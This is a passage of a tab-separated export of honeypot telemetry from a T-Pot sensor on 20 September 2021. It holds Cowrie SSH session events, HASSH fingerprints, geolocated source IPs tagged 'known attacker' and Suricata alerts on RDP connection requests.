26607	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:44.489031+03	2021-09-20 14:15:13.494646+03	{"_id": "VwboAnwBvYTbRNuEgiKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "65a273a4b973", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:44.489031Z", "@timestamp": "2021-09-20T11:12:44.489Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26667	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:12:56.74866+03	2021-09-20 14:15:13.572646+03	{"_id": "AAboAnwBvYTbRNuEtSOJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "4d858f8e8cda", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:12:56.748660Z", "@timestamp": "2021-09-20T11:12:56.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26609	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:12:45.542533+03	2021-09-20 14:15:13.497683+03	{"_id": "awboAnwBvYTbRNuEiCKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:45.134279+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1495189460683911, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 58310, "timestamp": "2021-09-20T11:12:45.542533Z", "@timestamp": "2021-09-20T11:12:45.542Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
26610	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:12:45.876044+03	2021-09-20 14:15:13.498674+03	{"_id": "bwboAnwBvYTbRNuEiCKz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:45.134279+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1495189460683911, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58310, "dest_port": 3389, "timestamp": "2021-09-20T11:12:45.876044Z", "@timestamp": "2021-09-20T11:12:45.876Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
26611	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:12:45.477471+03	2021-09-20 14:15:13.500647+03	{"_id": "cQboAnwBvYTbRNuEiSLa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 58310, "dest_port": 3389, "timestamp": "2021-09-20T11:12:45.477471", "@timestamp": "2021-09-20T11:12:45.477Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
26612	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:12:44.830865+03	2021-09-20 14:15:13.501674+03	{"_id": "ZAboAnwBvYTbRNuEhSLw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47326, "dest_port": 22, "timestamp": "2021-09-20T11:12:44.830865", "@timestamp": "2021-09-20T11:12:44.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26613	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:44.831657+03	2021-09-20 14:15:13.502674+03	{"_id": "agboAnwBvYTbRNuEhiKb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "65a273a4b973", "@version": "1", "timestamp": "2021-09-20T11:12:44.831657Z", "@timestamp": "2021-09-20T11:12:44.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26614	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:12:45.477471+03	2021-09-20 14:15:13.504676+03	{"_id": "bAboAnwBvYTbRNuEiCKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:45.134279+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1495189460683911, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58310, "dest_port": 3389, "timestamp": "2021-09-20T11:12:45.477471Z", "@timestamp": "2021-09-20T11:12:45.477Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
26615	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:47.263332+03	2021-09-20 14:15:13.505674+03	{"_id": "dwboAnwBvYTbRNuEjiJr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f48de0094635", "@version": "1", "duration": 2.9369091987609863, "timestamp": "2021-09-20T11:12:47.263332Z", "@timestamp": "2021-09-20T11:12:47.263Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26616	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:48.332108+03	2021-09-20 14:15:13.507644+03	{"_id": "fwboAnwBvYTbRNuEkiJU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "65a273a4b973", "@version": "1", "duration": 3.8431127071380615, "timestamp": "2021-09-20T11:12:48.332108Z", "@timestamp": "2021-09-20T11:12:48.332Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26617	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:48.535535+03	2021-09-20 14:15:13.508644+03	{"_id": "egboAnwBvYTbRNuEkiJU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:53936 (192.168.176.2:22) [session: 9b1b0e3243a3]", "session": "9b1b0e3243a3", "@version": "1", "protocol": "ssh", "src_port": 53936, "dest_port": 22, "timestamp": "2021-09-20T11:12:48.535535Z", "@timestamp": "2021-09-20T11:12:48.535Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26618	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:12:48.814586+03	2021-09-20 14:15:13.510644+03	{"_id": "hgboAnwBvYTbRNuElCJs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1231242245762820, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53936, "dest_port": 22, "timestamp": "2021-09-20T11:12:48.814586Z", "@timestamp": "2021-09-20T11:12:48.814Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27217	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:38.477882+03	2021-09-20 14:15:14.289646+03	{"_id": "XQbpAnwBvYTbRNuEVSXY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "8ad84656c0f1", "@version": "1", "duration": 3.194632053375244, "timestamp": "2021-09-20T11:13:38.477882Z", "@timestamp": "2021-09-20T11:13:38.477Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26619	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:48.814755+03	2021-09-20 14:15:13.511644+03	{"_id": "iAboAnwBvYTbRNuElSKU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53936, "timestamp": "2021-09-20T11:12:48.814755", "@timestamp": "2021-09-20T11:12:48.814Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26620	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:44.32771+03	2021-09-20 14:15:13.512644+03	{"_id": "UgboAnwBvYTbRNuEgiKx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f48de0094635", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:44.327710Z", "@timestamp": "2021-09-20T11:12:44.327Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26621	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:12:44.601369+03	2021-09-20 14:15:13.514647+03	{"_id": "XwboAnwBvYTbRNuEhCLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 571172344082633, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35248, "dest_port": 22, "timestamp": "2021-09-20T11:12:44.601369Z", "@timestamp": "2021-09-20T11:12:44.601Z", "event_type": "ssh", 